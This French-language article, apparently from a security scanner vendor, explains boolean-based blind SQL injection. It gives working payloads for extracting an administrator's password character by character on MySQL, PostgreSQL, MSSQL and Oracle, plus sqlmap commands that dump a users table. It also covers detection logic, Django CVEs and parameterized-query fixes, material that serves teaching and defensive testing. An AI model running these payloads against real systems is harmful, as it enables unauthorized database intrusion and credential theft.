Infère le contenu de la base de données caractère par caractère en observant si l'application retourne une réponse vraie ou fausse aux conditions booléennes.
TL;DR
L'injection SQL à l'aveugle booléenne extrait des données d'une base de données sans aucune sortie visible dans la réponse HTTP. Au lieu de voir les données directement (basée sur UNION) ou dans les messages d'erreur (basée sur les erreurs), l'attaquant injecte des conditions booléennes et observe si la réponse de l'application change entre une condition vraie et une condition fausse. Cette différence binaire — toute différence de contenu, longueur, code de statut ou comportement — est suffisante pour extraire l'intégralité du schéma de base de données et son contenu, bit par bit.
La technique appartient à la catégorie des injections SQL inférentielles (à l'aveugle) dans CWE-89. Elle s'applique quand une application est injectable mais ne retourne aucune donnée de la requête et supprime les messages d'erreur. L'attaquant exploite le flux de contrôle de l'application : une condition vraie retourne la réponse normale ; une condition fausse retourne quelque chose de subtilement différent. Aucune donnée n'est visible directement — mais la différence entre les deux réponses encode un seul bit d'information.
CVE-2024-42005 (Django, CVSS 9.8, HackerOne #2646493) a démontré que l'injection à l'aveugle booléenne n'est pas limitée aux applications héritées ou au SQL brut. Une clé d'objet JSON élaborée passée comme argument aux méthodes QuerySet.values() ou values_list() de Django sur des modèles avec JSONField s'infiltrait dans la construction d'alias de colonnes sans sanitisation — rendant un appel ORM Django standard et idiomatique injectable sans aucun SQL brut dans le code de l'application.
L'attaque pose des questions oui/non sur le contenu de la base de données. Chaque question est une condition SQL injectée dans la requête. Les réponses différentes de l'application pour les conditions vraies par rapport aux fausses répondent à chaque question.
Étape 1 — Confirmer le différentiel (référence vrai vs faux) :
' AND 1=1-- -- vrai : doit correspondre à la réponse de référence
' AND 1=2-- -- faux : doit différer de la réponse de référenceLa garde critique : si la réponse de référence diffère déjà de AND 1=1, la sémantique du paramètre a changé et le score différentiel booléen est invalide. BreachVex exige que la référence et la condition vraie correspondent étroitement avant d'accepter un différentiel comme authentique.
Étape 2 — Déterminer la longueur des données cibles :
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=32--
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))>20--
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))>30--La recherche binaire sur la longueur détermine le nombre exact de caractères en ~7 requêtes.
Étape 3 — Extraction caractère par caractère via recherche binaire :
-- Le premier caractère a-t-il une valeur ASCII > 64 (c.-à-d. > '@') ?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))>64--
-- Est-il > 96 (c.-à-d. > '`' — plage majuscule ou chiffre) ?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))>96--
-- Est-il exactement 97 ('a') ?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))=97--La recherche binaire divise l'espace de recherche par deux à chaque étape : la plage de caractères 32–127 (ASCII imprimable) est résolue en 7 comparaisons. Pour un hash de 32 caractères, cela représente environ 224 requêtes HTTP au total.
| Variante | Technique | Signal de réponse |
|---|---|---|
| Différentiel de contenu | AND 1=1 vs AND 1=2 | Contenu de page, message ou élément différent |
| Différentiel de longueur | AND 1=1 vs AND 1=2 | Différence de longueur du corps de réponse (≥50 octets) |
| Différentiel de code de statut | AND 1=1 vs AND 1=2 | 200 vs 302, 200 vs 404 |
| Expression conditionnelle | IF(cond, 'a', 'b') | Chaîne de sortie différente dans la réponse |
| CASE WHEN | CASE WHEN (cond) THEN 'x' ELSE 'y' END | Chaîne de sortie contrôlée |
| Extraction de sous-chaîne | ASCII(SUBSTRING(data,pos,1))>N | Recherche binaire sur les valeurs de caractères |
| Sonde de longueur | LENGTH(data)=N | Vrai/faux sur la longueur exacte |
-- MySQL — expression conditionnelle
' AND IF(SUBSTRING(database(),1,1)='a',1,0)--
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96,1,0)--
' AND (SELECT COUNT(*) FROM users WHERE username='admin'
AND SUBSTRING(password,1,1)='a')=1--
-- MySQL — détection de longueur
' AND LENGTH((SELECT password FROM users LIMIT 1))=32---- PostgreSQL — expression CASE WHEN
' AND (SELECT CASE WHEN (username='administrator') THEN 'a' ELSE 'b' END
FROM users LIMIT 1)='a'--
' AND (SELECT CASE WHEN (ASCII(SUBSTRING(password,1,1))>96) THEN 'a' ELSE 'b' END
FROM users WHERE username='administrator' LIMIT 1)='a'---- MSSQL — CASE WHEN
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)=1--
' AND (SELECT CASE WHEN
(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>96)
THEN 1 ELSE 0 END)=1---- Oracle — CASE WHEN avec DUAL
' AND (SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END FROM dual)='a'--
' AND (SELECT CASE WHEN
(SUBSTR((SELECT password FROM users WHERE rownum=1),1,1)='a')
THEN 'a' ELSE 'b' END FROM dual)='a'--La fonction SUBSTRING a des noms différents selon les moteurs SQL : SUBSTRING() dans MySQL et MSSQL, SUBSTR() dans Oracle, SUBSTRING() dans PostgreSQL (mais SUBSTR() fonctionne aussi). La fonction ASCII() est standard pour MySQL et PostgreSQL ; Oracle utilise également ASCII(), mais certaines versions utilisent ORD() pour la gestion des caractères multi-octets.
BreachVex implémente un algorithme de scoring différentiel booléen en 4 étapes :
# Étape 1 : Établir la référence
baseline = fetch(original_url)
# Étape 2 : Injecter les conditions vraies et fausses
true_resp = fetch(inject(url, param, f"{value} AND 1=1"))
false_resp = fetch(inject(url, param, f"{value} AND 1=2"))
# Étape 3 : Calculer la similarité de texte avec la référence
true_sim = text_similarity(baseline.body, true_resp.body)
false_sim = text_similarity(baseline.body, false_resp.body)
# Étape 4 : Scorer le différentiel
if true_sim > HIGH_MATCH and false_sim < LOW_MATCH:
flag_probable_injection() # fort différentiel booléenExiger que la condition vraie corresponde étroitement à la référence tandis que la condition fausse diverge élimine les faux positifs dus au contenu dynamique (publicités, horodatages, tokens de session) qui varie naturellement entre les requêtes. Un écart net entre la similarité vraie et fausse est le seuil d'une détection différentielle booléenne confiante.
CVE-2024-42005 — Injection Django QuerySet JSONField (CVSS 9.8, HackerOne #2646493) — Django 4.2 avant 4.2.15 et 5.0 avant 5.0.8 étaient vulnérables à l'injection SQL via QuerySet.values() et values_list() sur des modèles avec JSONField. Une clé d'objet JSON élaborée passée comme argument s'infiltrait dans la construction d'alias de colonnes sans sanitisation. La technique était différentielle booléenne : la requête ORM s'exécutait avec succès mais retournait des ensembles de résultats différents selon les conditions injectées. Le chercheur Eyal Gabay (EyalSec) a divulgué via le programme Internet Bug Bounty. Le correctif nécessitait la validation de tous les composants d'alias de colonnes avant la construction SQL.
HackerOne #786044 — Mail.ru (prime de 5 000 $) — Injection SQL à l'aveugle sur windows10.hi-tech.mail.ru. Le chercheur a identifié le différentiel booléen en observant les changements de contenu de réponse sur les conditions vraies versus fausses, puis a utilisé l'extraction automatisée pour extraire les données cibles. La vulnérabilité existait dans un composant de livraison de contenu qui construisait des requêtes dynamiques à partir des paramètres d'URL.
HackerOne #2597543 — US Department of Defense (2024) — Injection SQL à l'aveugle dans une application web du DoD divulguée via le programme HackerOne DoD Bug Bounty. Le chercheur manipulait les requêtes de base de données via l'injection dans un paramètre vulnérable, inférant les données via les différences comportementales des réponses. Aucun message d'erreur n'était présent, confirmant la technique comme purement différentielle booléenne.
CVE-2025-64459 — Injection d'objet Q() Django (CVSS 9.1, novembre 2025) — Django 4.2 avant 4.2.26, 5.1 avant 5.1.14 et 5.2 avant 5.2.8 permettaient l'injection SQL via les paramètres internes _connector et _negated de l'objet Q() quand des dictionnaires contrôlés par l'utilisateur étaient développés dans filter(**user_input). Un attaquant injectant {"_connector": "OR"} remaniait l'arbre de requête, permettant le contournement d'authentification via des conditions différentielles booléennes. La détection nécessitait d'identifier les applications qui passent des dictionnaires de filtres contrôlés par l'utilisateur aux méthodes ORM Django.
' AND 1=1-- et enregistrer la réponse complète — code de statut, longueur de contenu et texte de corps sélectionné.' AND 1=2-- et comparer avec l'étape 2. Toute différence de statut, longueur ou corps de contenu confirme le paramètre injectable.ORDER BY et sort — ces paramètres sont injectés dans environ 15 % des rapports SQLi sur HackerOne et sont fréquemment non testés par les scanners automatisés.{"filter": "test"} en {"filter": "test' AND 1=1--"} et comparer avec AND 1=2.X-Forwarded-For, User-Agent et Referer — ils sont journalisés dans des bases de données et peuvent être injectables.# Ciblage de technique booléenne
sqlmap -u "https://target.com/search?q=test" \
--technique=B --batch --dbs
# Injection booléenne dans le corps JSON
sqlmap -u "https://target.com/api/filter" \
--data='{"filter":"test"}' \
--content-type="application/json" \
--technique=B --batch
# Avec augmentation du niveau pour tester plus de points d'injection (en-têtes, cookies)
sqlmap -u "https://target.com/search?q=test" \
--technique=B --level=3 --batch
# Dump de table spécifique après énumération du schéma
sqlmap -u "https://target.com/search?q=1" \
--technique=B -D target_db -T users --dump --batchBreachVex escalade les findings probables confirmés booléens vers un outillage offensif standard de l'industrie pour l'extraction automatisée de caractères, en utilisant une passe de sondage rapide avant un scan profond complet.
Les requêtes paramétrées empêchent l'injection booléenne en liant l'entrée utilisateur comme valeurs de données typées qui ne peuvent pas remodeler la logique booléenne de la requête.
# Python — SÛR
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,)
)
# VULNÉRABLE — des conditions booléennes peuvent être injectées
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")// Node.js — SÛR
const result = await client.query(
'SELECT * FROM users WHERE username = $1 AND active = $2',
[username, true]
);
// VULNÉRABLE
await client.query(`SELECT * FROM users WHERE username = '${username}'`);Pour les applications Django qui acceptent des dictionnaires de filtres contrôlés par l'utilisateur, valider toutes les clés contre une liste d'autorisation explicite avant de les passer aux méthodes ORM.
# VULNÉRABLE — l'utilisateur contrôle les clés de filtre
results = MyModel.objects.filter(**user_input)
# SÛR — seulement les clés de la liste d'autorisation
ALLOWED_FILTER_FIELDS = {'status', 'category', 'created_after'}
def safe_filter(user_input):
validated = {
k: v for k, v in user_input.items()
if k in ALLOWED_FILTER_FIELDS
}
return MyModel.objects.filter(**validated)CVE-2025-64459 confirme que filter(**user_input) de Django est injectable quand l'entrée utilisateur inclut des paramètres internes Q() comme _connector ou _negated. Ne jamais passer des dictionnaires utilisateur non validés directement aux méthodes de filtre ORM Django. Mettre à niveau Django vers 4.2.26+, 5.1.14+ ou 5.2.8+ et ajouter la validation des clés par liste d'autorisation.
L'injection SQL à l'aveugle booléenne injecte des conditions vraies et fausses dans une requête SQL et observe si l'application répond différemment — contenu de page différent, longueur de réponse, code de statut ou comportement de redirection. Les données sont extraites bit par bit en posant des questions oui/non sur le contenu de la base de données.
La recherche binaire réduit chaque caractère ASCII de 256 possibilités à 8 comparaisons. Un hash de mot de passe de 32 caractères nécessite environ 224 requêtes (7 comparaisons par caractère × 32 caractères). Les outils automatisés comme sqlmap optimisent cela avec le parallélisme et des stratégies adaptatives.
Différentiels courants : changements de contenu de page (message de bienvenue apparaît/disparaît), différences de longueur de corps de réponse supérieures à 50 octets, changements de code de statut HTTP (200 vs 302 ou 404), redirection vs pas de redirection, ou toute différence structurelle entre les réponses AND 1=1 et AND 1=2.
CVE-2024-42005 (Django, CVSS 9.8) permettait l'injection SQL via QuerySet.values() et values_list() sur des modèles avec un JSONField via des clés d'objet JSON élaborées. Des appels ORM Django standard sans SQL brut étaient injectables. HackerOne #2646493 a documenté la divulgation.
BreachVex calcule la similarité de texte entre la réponse de référence, la réponse AND 1=1, et la réponse AND 1=2. Un différentiel à haute confiance — la condition vraie correspondant étroitement à la référence tandis que la condition fausse diverge — signale une injection probable et escalade vers l'extraction automatisée de caractères avec un outillage offensif standard de l'industrie.
L'injection à l'aveugle booléenne utilise les différences de contenu ou de structure de réponse pour inférer vrai/faux. L'injection à l'aveugle basée sur le temps utilise le délai de réponse comme signal. La méthode basée sur le temps est utilisée quand l'application retourne des réponses identiques pour toutes les entrées quel que soit le résultat de la requête.
Oui. Les paramètres ORDER BY et sort sont fréquemment injectables mais rarement testés. Une injection comme ?sort=CASE WHEN (1=1) THEN name ELSE price END peut détecter des différences de réponse. La variante ?sort=1; WAITFOR DELAY '0:0:5'-- bascule vers la méthode basée sur le temps.